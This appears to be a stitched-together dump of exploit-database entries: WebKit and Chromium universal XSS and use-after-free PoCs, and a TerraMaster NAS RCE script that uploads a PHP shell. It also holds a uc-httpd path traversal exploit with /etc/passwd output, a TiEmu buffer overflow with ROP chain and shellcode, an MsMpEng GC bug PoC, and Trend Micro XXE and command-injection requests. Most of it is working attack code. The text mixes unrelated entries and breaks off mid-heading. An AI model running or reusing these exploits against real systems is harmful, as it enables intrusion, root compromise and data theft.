    #13 0x1159d995c in WebCore::DocumentLoader::commitLoad(char const*, int) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x75895c)
    #14 0x1154d5eff in WebCore::CachedRawResource::notifyClientsDataWasReceived(char const*, unsigned int) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x254eff)
    #15 0x1154d5cf5 in WebCore::CachedRawResource::addDataBuffer(WebCore::SharedBuffer&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x254cf5)
    #16 0x117afe96c in WebCore::SubresourceLoader::didReceiveDataOrBuffer(char const*, int, WTF::RefPtr<WebCore::SharedBuffer>&&, long long, WebCore::DataPayloadType) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x287d96c)
    #17 0x117afe695 in WebCore::SubresourceLoader::didReceiveData(char const*, unsigned int, long long, WebCore::DataPayloadType) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x287d695)
    #18 0x10f7740b5 in WebKit::WebResourceLoader::didReceiveData(IPC::DataReference const&, long long) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x9960b5)
    #19 0x10f777ab4 in void IPC::handleMessage<Messages::WebResourceLoader::DidReceiveData, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(IPC::DataReference const&, long long)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(IPC::DataReference const&, long long)) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x999ab4)
    #20 0x10f777043 in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x999043)
    #21 0x10f0b75c9 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x2d95c9)
    #22 0x10ee925a8 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xb45a8)
    #23 0x10ee9bbf4 in IPC::Connection::dispatchOneMessage() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xbdbf4)
    #24 0x112f6c764 in WTF::RunLoop::performWork() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18d4764)
    #25 0x112f6ec7e in WTF::RunLoop::performWork(void*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18d6c7e)
    #26 0x7fff7dcc3980 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0xa7980)
    #27 0x7fff7dca4a7c in __CFRunLoopDoSources0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x88a7c)
    #28 0x7fff7dca3f75 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x87f75)
    #29 0x7fff7dca3973 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x87973)

SUMMARY: AddressSanitizer: heap-use-after-free (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2485e8a) in WebCore::RenderView::flushAccumulatedRepaintRegion() const
Shadow bytes around the buggy address:
  0x1c2e000099e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c2e000099f0: fd fd fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c2e00009a00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c2e00009a10: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c2e00009a20: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x1c2e00009a30: fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd
  0x1c2e00009a40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c2e00009a50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c2e00009a60: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa
  0x1c2e00009a70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c2e00009a80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==3526==ABORTING
-->
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1134

Here's a snippet of ContainerNode::parserRemoveChild.

void ContainerNode::parserRemoveChild(Node& oldChild)
{
    disconnectSubframesIfNeeded(*this, DescendantsOnly); <<---- (a)
    ...
    document().notifyRemovePendingSheetIfNeeded(); <<---- (b)
}

subframes are detached at (a). But In |notifyRemovePendingSheetIfNeeded| at (b), which fires a focus event, we can attach subframes again.

PoC:
-->

<html>
<head>
</head>
<body>
<script>

let xml = `
<body>
    <div>
        <b>
            <p>
                <script>
                let p = document.querySelector('p');
                let link = p.appendChild(document.createElement('link'));
                link.rel = 'stylesheet';
                link.href = 'data:,aaaaazxczxczzxzcz';

                let btn = document.body.appendChild(document.createElement('button'));
                btn.id = 'btn';
                btn.onfocus = () => {
                    btn.onfocus = null;

                    window.d = document.querySelector('div');
                    window.d.remove();

                    link.remove();
                    document.body.appendChild(p);

                    let m = p.appendChild(document.createElement('iframe'));
                    setTimeout(() => {
                        document.documentElement.innerHTML = '';

                        m.onload = () => {
                            m.onload = null;

                            m.src = 'javascript:alert(location);';
                            var xml = \`
<svg xmlns="http://www.w3.org/2000/svg">
<script>
document.documentElement.appendChild(parent.d);
</sc\` + \`ript>
<element a="1" a="2" />
</svg>\`;

                            var tmp = document.documentElement.appendChild(document.createElement('iframe'));
                            tmp.src = URL.createObjectURL(new Blob([xml], {type: 'text/xml'}));
                        };
                        m.src = 'https://abc.xyz/';
                    }, 0);
                };

                location.hash = 'btn';
                </scrip` + `t>
            </b>
        </p>
    </div>
</body>`;

let tf = document.body.appendChild(document.createElement('iframe'));
tf.src = URL.createObjectURL(new Blob([xml], {type: 'text/html'}));

</script>
</body>
</html>
            
Sources:
https://bugs.chromium.org/p/project-zero/issues/detail?id=1146
https://bugs.chromium.org/p/chromium/issues/detail?id=519558

VULNERABILITY DETAILS
From /WebKit/Source/core/dom/ContainerNode.cpp:

----------------
void ContainerNode::parserInsertBefore(PassRefPtrWillBeRawPtr<Node> newChild, Node& nextChild)
{
(...)
    while (RefPtrWillBeRawPtr<ContainerNode> parent = newChild->parentNode())
        parent->parserRemoveChild(*newChild);

    if (document() != newChild->document())
        document().adoptNode(newChild.get(), ASSERT_NO_EXCEPTION);

    {
        EventDispatchForbiddenScope assertNoEventDispatch;
        ScriptForbiddenScope forbidScript;

        treeScope().adoptIfNeeded(*newChild);
        insertBeforeCommon(nextChild, *newChild);
        newChild->updateAncestorConnectedSubframeCountForInsertion();
        ChildListMutationScope(*this).childAdded(*newChild);
    }

    notifyNodeInserted(*newChild, ChildrenChangeSourceParser);
}
----------------

|parserRemoveChild| can run script, and it can remove |nextChild| from DOM or move the node around. When this happens, the tree will be in an inconsistent state after the |insertBeforeCommon| call, allowing an attacker to bypass the frame restrictions.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42066.zip
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1151

Here is a snippet of CachedFrameBase::restore which is invoked when cached frames are restored.

void CachedFrameBase::restore()
{
    ...
    for (auto& childFrame : m_childFrames) {
        ASSERT(childFrame->view()->frame().page());
        frame.tree().appendChild(childFrame->view()->frame());
        childFrame->open(); <----- (a)
    }
    ...
    // FIXME: update Page Visibility state here.
    // https://bugs.webkit.org/show_bug.cgi?id=116770
    m_document->enqueuePageshowEvent(PageshowEventPersisted);

    HistoryItem* historyItem = frame.loader().history().currentItem();
    if (historyItem && historyItem->stateObject())
        m_document->enqueuePopstateEvent(historyItem->stateObject());

    frame.view()->didRestoreFromPageCache();
}

enqueuePageshowEvent and enqueuePopstateEvent are named "enqueue*", but actually those *dispatch* window events that may fire JavaScript handlers synchronously. 

At (a), |open| method may invoke |CachedFrameBase::restore| method again. Thus, the parent frame's document may be replaced while |open| is called in the iteration, the next child frame is attached to the parent frame holding the replaced document.

PoC:
-->

<html>
<body>
<script>

function createURL(data, type = 'text/html') {
    return URL.createObjectURL(new Blob([data], {type: type}));
}

function navigate(w, url) {
    let a = w.document.createElement('a');
    a.href = url;
    a.click();
}

function main() {
    let i0 = document.body.appendChild(document.createElement('iframe'));
    let i1 = document.body.appendChild(document.createElement('iframe'));

    i0.contentWindow.onpageshow = () => {
        navigate(window, 'https://abc.xyz/');

        showModalDialog(createURL(`
<script>
let it = setInterval(() => {
    try {
        opener.document.x;
    } catch (e) {
        clearInterval(it);
        window.close();
    }
}, 10);
</scrip` + 't>'));

    };

    i1.contentWindow.onpageshow = () => {
        i1.srcdoc = '<script>alert(parent.location);</scrip' + 't>';
        navigate(i1.contentWindow, 'about:srcdoc');
    };

    navigate(window, createURL(`<html><head></head><body>Click anywhere<script>
window.onclick = () => {
    window.onclick = null;

    history.back();
};

</scrip` + `t></body></html>`));
}

window.onload = () => {
    setTimeout(main, 0);
};

</script>
</body>
</html>
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1162

void FrameLoader::clear(Document* newDocument, bool clearWindowProperties, bool clearScriptObjects, bool clearFrameView)
{
    m_frame.editor().clear();

    if (!m_needsClear)
        return;
    m_needsClear = false;
    
    if (m_frame.document()->pageCacheState() != Document::InPageCache) {
        ...
        m_frame.document()->prepareForDestruction(); <<-------- (a)
        if (hadLivingRenderTree)
            m_frame.document()->removeFocusedNodeOfSubtree(*m_frame.document());
    }
    ...
    m_frame.setDocument(nullptr); <<------- (b)
    ...
    if (clearWindowProperties)
        m_frame.script().setDOMWindowForWindowShell(newDocument->domWindow()); <<------- (c)
    ...
}

FrameLoader::clear is called when page navigation is made and it does:
1. clear the old document at (b).
2. attach the new window object at (c).

If a new page navigation is made at (a), the new window will not attached due to |m_needsClear| check. As a result, the new document's script will be execute on the old window object.

PoC will reproduce to steal |secret_key| value from another origin(data:text/html,...).

PoC:
-->

<body>
Click anywhere.
<script>
function createURL(data, type = 'text/html') {
    return URL.createObjectURL(new Blob([data], {type: type}));
}

window.onclick = () => {
    window.onclick = null;

    let f = document.body.appendChild(document.createElement('iframe'));
    f.contentDocument.open();
    f.contentDocument.onreadystatechange = () => {
        f.contentDocument.onreadystatechange = null;

        let g = f.contentDocument.appendChild(document.createElement('iframe'));
        g.contentDocument.open();
        g.contentDocument.onreadystatechange = () => {
            g.contentDocument.onreadystatechange = null;

            f.contentWindow.__defineGetter__('navigator', function () {
                return {};
            });

            let a = f.contentDocument.createElement('a');
            a.href = 'data:text/html,' + encodeURI(`<script>var secret_key = '23412341234';</scrip` + 't>');
            a.click();

            showModalDialog(createURL(`
<script>
let it = setInterval(() => {
    try {
        opener[0].frameElement.contentDocument.x;
    } catch (e) {
        clearInterval(it);
        window.close();
    }
}, 100);
</scrip` + 't>'));

            alert('secret_key:' + f.contentWindow.secret_key);
            //showModalDialog('about:blank');
        };
    };

    f.src = 'javascript:""';
}

</script>
</body>
            
# Source: https://www.evilsocket.net/2017/05/30/Terramaster-NAS-Unauthenticated-RCE-as-root/

#!/usr/bin/python
# coding: utf8
#
# Exploit: Unauthenticated RCE as root.
# Vendor: TerraMaster
# Product: TOS <= 3.0.30 (running on every NAS)
# Author: Simone 'evilsocket' Margaritelli <evilsocket@protonmail.com> 
import sys
import requests
def upload( address, port, filename, path = '/usr/www/' ):
    url = "http://%s:%d/include/upload.php?targetDir=%s" % ( address, port, path )
    try:
        files = { 'file': open( filename, 'rb' ) }
        cookies = { 'kod_name': '1' } # LOL :D
        r = requests.post(url, files=files, cookies=cookies)
        if r.text != '{"jsonrpc" : "2.0", "result" : null, "id" : "id"}':
            print "! Unexpected response, exploit might not work:\n%s\n" % r.text
        return True
    except Exception as e:
        print "\n! ERROR: %s" % e
    return False
def rce( address, port, command ):
    with open( '/tmp/p.php', 'w+t' ) as fp:
        fp.write( "<?php system('%s'); ?>" % command )
    if upload( address, port, '/tmp/p.php' ) == True:
        try:
            url = "http://%s:%d/p.php" % ( address, port )
            return requests.get(url).text
        except Exception as e:
            print "\n! ERROR: %s" % e
    return None
if len(sys.argv) < 3:
    print "Usage: exploit.py <ip|hostname> <command> (port=8181)\n"
    quit()
target  = sys.argv[1]
command = sys.argv[2]
port    = 8181 if len(sys.argv) < 4 else int(sys.argv[3])
out = rce( target, port, command )
if out is not None:
    print out.strip()
            
'''
______  ______   _____     ___   _____   _____   _____
| ___ \ | ___ \ |  _  |   |_  | |  ___| /  __ \ |_   _|
| |_/ / | |_/ / | | | |     | | | |__   | /  \/   | |
|  __/  |    /  | | | |     | | |  __|  | |       | |
| |     | |\ \  \ \_/ / /\__/ / | |___  | \__/\   | |
\_|     \_| \_|  \___/  \____/  \____/   \____/   \_/


_____   _   _   _____   _____   _____   _   _  ______   _____   _____  __   __
|_   _| | \ | | /  ___| |  ___| /  __ \ | | | | | ___ \ |_   _| |_   _| \ \ / /
| |   |  \| | \ `--.  | |__   | /  \/ | | | | | |_/ /   | |     | |    \ V /
| |   | . ` |  `--. \ |  __|  | |     | | | | |    /    | |     | |     \ /
_| |_  | |\  | /\__/ / | |___  | \__/\ | |_| | | |\ \   _| |_    | |     | |
\___/  \_| \_/ \____/  \____/   \____/  \___/  \_| \_|  \___/    \_/     \_/


[+]---------------------------------------------------------[+]
| Vulnerable Software:      uc-httpd                        |
| Vendor:                   XiongMai Technologies           |
| Vulnerability Type:       LFI, Directory Traversal        |
| Date Released:            03/04/2017                      |
| Released by:              keksec                          |
[+]---------------------------------------------------------[+]

uc-httpd is a HTTP daemon used by a wide array of IoT devices (primarily security cameras) which is vulnerable
to local file inclusion and directory traversal bugs. There are a few million total vulnerable devices, with
around one million vulnerable surviellence cameras.

The following request can be made to display the contents of the 'passwd' file:
GET ../../../../../etc/passwd HTTP/1.0

To display a directory listing, the following request can be made:
GET ../../../../../var/www/html/ HTTP/1.0
The above request would output the contents of the webroot directory as if 'ls' command was executed

The following shodan request can be used to display vulnerable systems:
product:uc-httpd

Here is a proof of concept (written by @sxcurity):
-------------------------------------------------------------------------------------------------------------
'''
#!/usr/bin/env python
import urllib2, httplib, sys

httplib.HTTPConnection._http_vsn = 10
httplib.HTTPConnection._http_vsm_str = 'HTTP/1.0'

print "[+] uc-httpd 0day exploiter [+]"
print "[+] usage: python " + __file__ + " http://<target_ip>"

host = sys.argv[1]
fd = raw_input('[+] File or Directory: ')

print "Exploiting....."
print '\n'
print urllib2.urlopen(host + '/../../../../..' + fd).read()

'''
-------------------------------------------------------------------------------------------------------------

Here is a live example of the exploit being ran:


root@127:~/dongs# python pwn.py http://127.0.0.1
[+] uc-httpd 0day exploiter [+]
[+] usage: python pwn.py http://<target_ip>
[+] File or Directory: /etc/passwd
Exploiting.....


root:absxcfbgXtb3o:0:0:root:/:/bin/sh

root@127:~/dongs# python pwn.py http://127.0.0.1
[+] uc-httpd 0day exploiter [+]
[+] usage: python pwn.py http://<target_ip>
[+] File or Directory: /proc/version
Exploiting.....


Linux version 3.0.8 (leixinyuan@localhost.localdomain) (gcc version 4.4.1 (Hisilicon_v100(gcc4.4-290+uclibc_0.9.32.1+eabi+linuxpthread)) ) #52 Fri Apr 22 12:33:57 CST 2016

root@127:~/dongs#
-------------------------------------------------------------------------------------------------------------


How to fix: Sanitize inputs, don't run your httpd as root!

[+]---------------------------------------------------------[+]
|                      CONTACT US:                          |
|                                                           |
| IRC:          irc.insecurity.zone (6667/6697) #insecurity |
| Twitter:      @insecurity                                 |
| Website:      insecurity.zone                             |
[+]---------------------------------------------------------[+]
'''
            
#!/usr/bin/python
# Exploit Author: Juan Sacco <juan.sacco@kpn.com> at KPN Red Team - http://www.kpn.com
# Developed using Exploit Pack - http://exploitpack.com - <jsacco@exploitpack.com>
# Tested on: Windows 7 32 bits
#
# Description: TiEmu ( Texas Instrument Emulator ) 2.08 and prior is
# prone to a stack-based buffer overflow vulnerability because the
application fails to perform adequate
# boundary-checks on user-supplied input.
#
# What is TiEmu?
# TiEmu is a multi-platform emulator for TI89 / TI89 Titanium / TI92 / TI92+ / V200PLT hand-helds.
#
# An attacker could exploit this vulnerability to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Vendor homepage: http://lpg.ticalc.org/prj_tiemu/

import struct, subprocess, os
file = "C:/Program Files/TiEmu/bin/tiemu.exe"
junk =  "A" * 452
nseh = struct.pack('L', 0x06eb9090)
seh = struct.pack('L', 0x6c3010ba) # pop ebx # pop ebp # ret  -
libtifiles2-5.dll

def create_rop_chain():
  rop_gadgets = [
    0x75ecd264,  # POP ECX # RETN [SHELL32.DLL]
    0x711e1388,  # ptr to &VirtualProtect() [IAT COMCTL32.DLL]
    0x7549fd52,  # MOV ESI,DWORD PTR DS:[ECX] # ADD DH,DH # RETN [MSCTF.dll]
    0x628daecc,  # POP EBP # RETN [tcl84.dll]
    0x76c319b8,  # & push esp # ret  [kernel32.dll]
    0x7606c311,  # POP EAX # RETN [SHELL32.DLL]
    0xfffffdff,  # Value to negate, will become 0x00000201
    0x75de6a90,  # NEG EAX # RETN [SHLWAPI.dll]
    0x76c389d9,  # XCHG EAX,EBX # RETN [kernel32.dll]
    0x754f3b2f,  # POP EAX # RETN [MSCTF.dll]
    0xffffffc0,  # Value to negate, will become 0x00000040
    0x76b13193,  # NEG EAX # RETN [USER32.dll]
    0x76c38a09,  # XCHG EAX,EDX # RETN [kernel32.dll]
    0x757dfbf7,  # POP ECX # RETN [ole32.dll]
    0x71256c9b,  # &Writable location [COMCTL32.DLL]
    0x77048567,  # POP EDI # RETN [RPCRT4.dll]
    0x757e65e2,  # RETN (ROP NOP) [ole32.dll]
    0x76cd6ee4,  # POP EAX # RETN [kernel32.dll]
    0x90909090,  # nop
    0x76ac6d21,  # PUSHAD # RETN [OLEAUT32.dll]
  ]
  return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()

shellcode = "\x90"*6
shellcode += "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
shellcode += "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
shellcode += "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
shellcode += "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
shellcode += "\x57\x78\x01\xc2\x8b\x7a\x20\x01"
shellcode += "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
shellcode += "\x45\x81\x3e\x43\x72\x65\x61\x75"
shellcode += "\xf2\x81\x7e\x08\x6f\x63\x65\x73"
shellcode += "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
shellcode += "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
shellcode += "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
shellcode += "\xb1\xff\x53\xe2\xfd\x68\x63\x61"
shellcode += "\x6c\x63\x89\xe2\x52\x52\x53\x53"
shellcode += "\x53\x53\x53\x53\x52\x53\xff\xd7"

junk2 =  "A" * 2000

buffer = junk  + nseh + seh + rop_chain + shellcode + junk2

try:
   print(buffer)
   subprocess.call([file, buffer])
except OSError as e:
   if e.errno == os.errno.ENOENT:
       print "TiEmu not found!"
   else:
print "Error executing exploit"
   raise
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1258

MsMpEng's JS engine uses garbage collection to manage the lifetime of Javascript objects.

During mark and sweep the GC roots the vectors representing the JS stack as well as a few other hardcoded objects, traversing reachable objects from those roots then frees any unreachable objects. The native stack is *not* marked therefore any native code which is using JsObject pointers needs to take care to ensure that either the objects will remain reachable or that a GC cannot occur.

MsMpEng's JS engine supports script defining toString and valueOf methods on objects which will be invoked when the native code attempts to convert JsObjects to strings or integers. These script callbacks are implemented by calling JsTree::run. the ::run method takes two arguments, the JS state and a flag which determines whether GC is blocked. In order to prevent the re-entrant scripts causing a GC the wrappers call JsTree::run passing 1 for the gc disable flag which means that JSTree will not run a GC while the callback executes.

The problem is that this flag isn't a global GC disable flag, it only applies to this particular JsTree frame. If we can cause another JsTree to be run inside the callback which passes 0 for the gc disable flag then the script running under *that* JsTree::run will be able to cause a gc, which is global.

The implementation of eval is one place where we can cause JsTree::run to be called passing 0, meaning that we can cause a GC inside a callback where GC should be disable by just eval'ing a string which will cause a GC when executed.

The final piece is to find a construct where native code has a JsObject pointer on the stack that is not being kept alive by other references reachable from GC roots. JsDelegateObject_StringProto::slice which implements the String.prototype.slice method has such a construct, in high-level pseudo-code the logic of the functions looks like this:

  JsObject* this = getCurrentThisPointer(); // kept alive because it’s on JS stack
 
  JsString* this_str = JsDelegateObject_StringProto::toStringThrows(this);
  // nothing (apart from maybe JSBench?) is rooting this_str as long as we
  // don't keep any references to it in script
  // the native code needs to prevent GC to keep it alive while it needs it
 
  int len = JsString::numBytes(this_str); // okay because this can't cause GC

  int start = JsDelegateObject_StringProto::toIntegerThrows( args[0] );

  // this calls valueOf() on the first argument
  // toIntegerThrows will call through to JsTree::run if we override valueOf of the first argument to slice()

  // It will pass blockGC=1 to prevent the callback doing GC (which could free this_str)
  // however if in the valueof callback we eval code which will cause a GC we can get a GC to happen
  // which will cause the this_str JsString to be free'd (as it's not explicitly rooted,
  // the native stack isn't scanned and no script objects reference it.)
 
  // the code continues and does something like this:
  JsString::initBySub(jsState, this_str ...
 
  // that ends up calling a virtual method on the free’d this_str


PoC script:

function gc() {eval("var a = Object(); var b = Object(); var s='a'; for(var i=0; i < 0x800; i++){s=s.replace('a', 'aaaaaaaa')};");}; var x = Object(); x.toString = function(){String.fromCharCode(0x43)+String.fromCharCode(0x41);}; var l=Object(); l.valueOf=function(){gc(); return 1;}; String.prototype.slice.call(x, l);

PoC zip file also attached which will trigger on Windows when decrypted with password "nscriptgc"

################################################################################

Here's a clearer PoC not all on one line for the mpengine shell :)

//*************************
function gc() {
  eval("var s='a';for(var i=0; i < 0x800; i++){s=s.replace('a', 'aaaaaaaa');}");
};

var x = Object();
// the first PoC didn't return a string here so toString ended up being the string 'undefined'
// if we do want to return a string object it has to have more than three characters so it doesn't use the 
// inline string optimization
x.toString = function(){return String.fromCharCode(0x41, 0x41, 0x41, 0x41);};

var l = Object();
l.valueOf = function() {gc(); return 1;};

String.prototype.slice.call(x, l);
//************************

################################################################################


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42088.zip
            
The following advisory describes three (3) vulnerabilities found in Trend Micro Deep Security version 6.5.

“The Trend Micro Hybrid Cloud Security solution, powered by XGen security, delivers a blend of cross­-generational threat defense techniques that have been optimized to protect physical, virtual, and cloud workloads. It features Trend Micro Deep Security, the market share leader in server security, protecting millions of physical, virtual, and cloud servers around the world.
Deep Security offers multiple layers of security that protect your servers as they move—across the data center, into the cloud, or in a hybrid deployment.”

The vulnerabilities found in Trend Micro Deep Security:
1. XML External Entity (XXE) that lead to arbitrary file disclosure 
2. Local Privilege Escalation
3. Remote code execution

Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

Vendor response

Trend Micro has released patches to address these vulnerabilities and issued the following advisory: https://success.trendmicro.com/solution/1117412

Vulnerabilities Details

XML External Entity (XXE) that lead to arbitrary file disclosure

Trend Micro Security Manager uses an outdated REST API (resteasy­jaxrs­2.3.5.Final.jar). The library suffers from an XXE vulnerability that can be exploited using Parameter Entities.

Proof of Concept

By sending the following POST request, an attacker can gain the victims “/etc/shadow”
 
1 POST /rest/authentication/login/sso HTTP/1.1
2 Host: 192.168.18.129:4119
3 Content­Type: application/xml
4 Content­Length: 360
5
6 <?xml version="1.0" encoding="utf­8"?>
7 <!DOCTYPE roottag [
8 <!ENTITY % start "<![CDATA[">
9 <!ENTITY % goodies SYSTEM "file:///etc/shadow">
10 <!ENTITY % end "]]>">
11 <!ENTITY % dtd SYSTEM "http://192.168.18.130/combine.dtd">
12 %dtd;
13
14 ]> 15
16 <dsCredentials>
17 <password>P@ssw0rd</password>
18 <tenantName></tenantName>
19 <userName>&all;</userName>
20 </dsCredentials>

Local Privilege Escalation

Admin users have access via the web interface to the SSH configuration settings. The port settings are not properly handled and allow injecting shell commands as the root user.

1 POST /SSHConfig.jsp HTTP/1.1
2 Host: 192.168.254.176:8443
3 User­Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept­Language: en­US,en;q=0.5
6 Referer: https://192.168.254.176:8443/SSHConfig.jsp
7 Cookie: JSESSIONID=2930898FD09512142C1B26C71D24466D
8 Connection: close
9 Content­Type: application/x­www­form­urlencoded
10 Content­Length: 150
11 CSRFGuardToken=67CI42CKYSW7R9JYWXEPN2MN2J9K8E5E&needSSHConfigure=yes&SSHSt
12 atus=enable&SSHPort=22&op=save&cbSSHStatus=enable&btSSHPort=221

In the above code, the SSHPort= parameter does not sanitize the incoming data. An attacker can use this to inject commands that will run as root on the victim’s machine.

Proof of Concept

The following POST request will call the sleep command with a value of 60 seconds:
    
1 POST /SSHConfig.jsp HTTP/1.1
2 Host: 192.168.254.176:8443
3 User­Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept­Language: en­US,en;q=0.5
6 Referer: https://192.168.254.176:8443/SSHConfig.jsp
7 Cookie: JSESSIONID=2930898FD09512142C1B26C71D24466D
8 Connection: close
9 Content­Type: application/x­www­form­urlencoded
10 Content­Length: 150
11
12 CSRFGuardToken=67CI42CKYSW7R9JYWXEPN2MN2J9K8E5E&needSSHConfigure=yes&SSHSt
13 atus=enable&SSHPort=%60sleep%2010%60&op=save&cbSSHStatus=enable&btSSHPort=221

Remote code execution

Trend Micro Deep Security has a default user with sudo privileges named iscan. This user is locked out but it can access certain elevated functions.

1 POST /servlet/com.trend.iwss.gui.servlet.ManageSRouteSettings?action=add HTTP/1.1
2 Host: 192.168.254.176:8443
3 User­Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept­Language: en­US,en;q=0.5
6 Referer: https://192.168.254.176:8443/staticRouteEdit.jsp?action=add
7 Cookie: JSESSIONID=2930898FD09512142C1B26C71D24466D
8 Connection: close
9 Content­Type: application/x­www­form­urlencoded
10 Content­Length: 259
11
12 CSRFGuardToken=67CI42CKYSW7R9JYWXEPN2MN2J9K8E5E&op=sroutemanage&fromurl=%2
13 FstaticRoutes.jsp&failoverurl=%2FstaticRouteEdit.jsp&port=&oldnetid=&oldrouter=&oldnetmask=&
14 oldport=&netid=192.168.1.0&netmask=255.255.255.0&router=192.168.1.1&interface_vlanid_sel=eth1

In the above POST request, we can see the page has several parameters that are vulnerable and that we can inject malicious parameters through them: netid, netmask, router, and interface_vlanid_sel

Proof of Concept:
    
1 POST /servlet/com.trend.iwss.gui.servlet.ManageSRouteSettings?action=add HTTP/1.1
2 Host: 192.168.254.176:8443
3 User­Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept­Language: en­US,en;q=0.5
6 Referer: https://192.168.254.176:8443/staticRouteEdit.jsp?action=add
7 Cookie: JSESSIONID=2930898FD09512142C1B26C71D24466D
8 Connection: close
9 Content­Type: application/x­www­form­urlencoded
10 Content­Length: 259
11
12 CSRFGuardToken=67CI42CKYSW7R9JYWXEPN2MN2J9K8E5E&op=sroutemanage&fromurl=%2
13 FstaticRoutes.jsp&failoverurl=%2FstaticRouteEdit.jsp&port=&oldnetid=&oldrouter=&oldnetmask=&
14 oldport=&netid=192.168.1.0%7c%7c%60ping%20­
15 c%2021%20127.0.0.1%60%20%23'%7c%7c%60ping%20­
16 c%2021%20127.0.0.1%60%20%23%5c%22%20&netmask=255.255.255.0&router=192.168.1.1&inte
17 rface_vlanid_sel=eth1
  
            
Vulnerability Summary

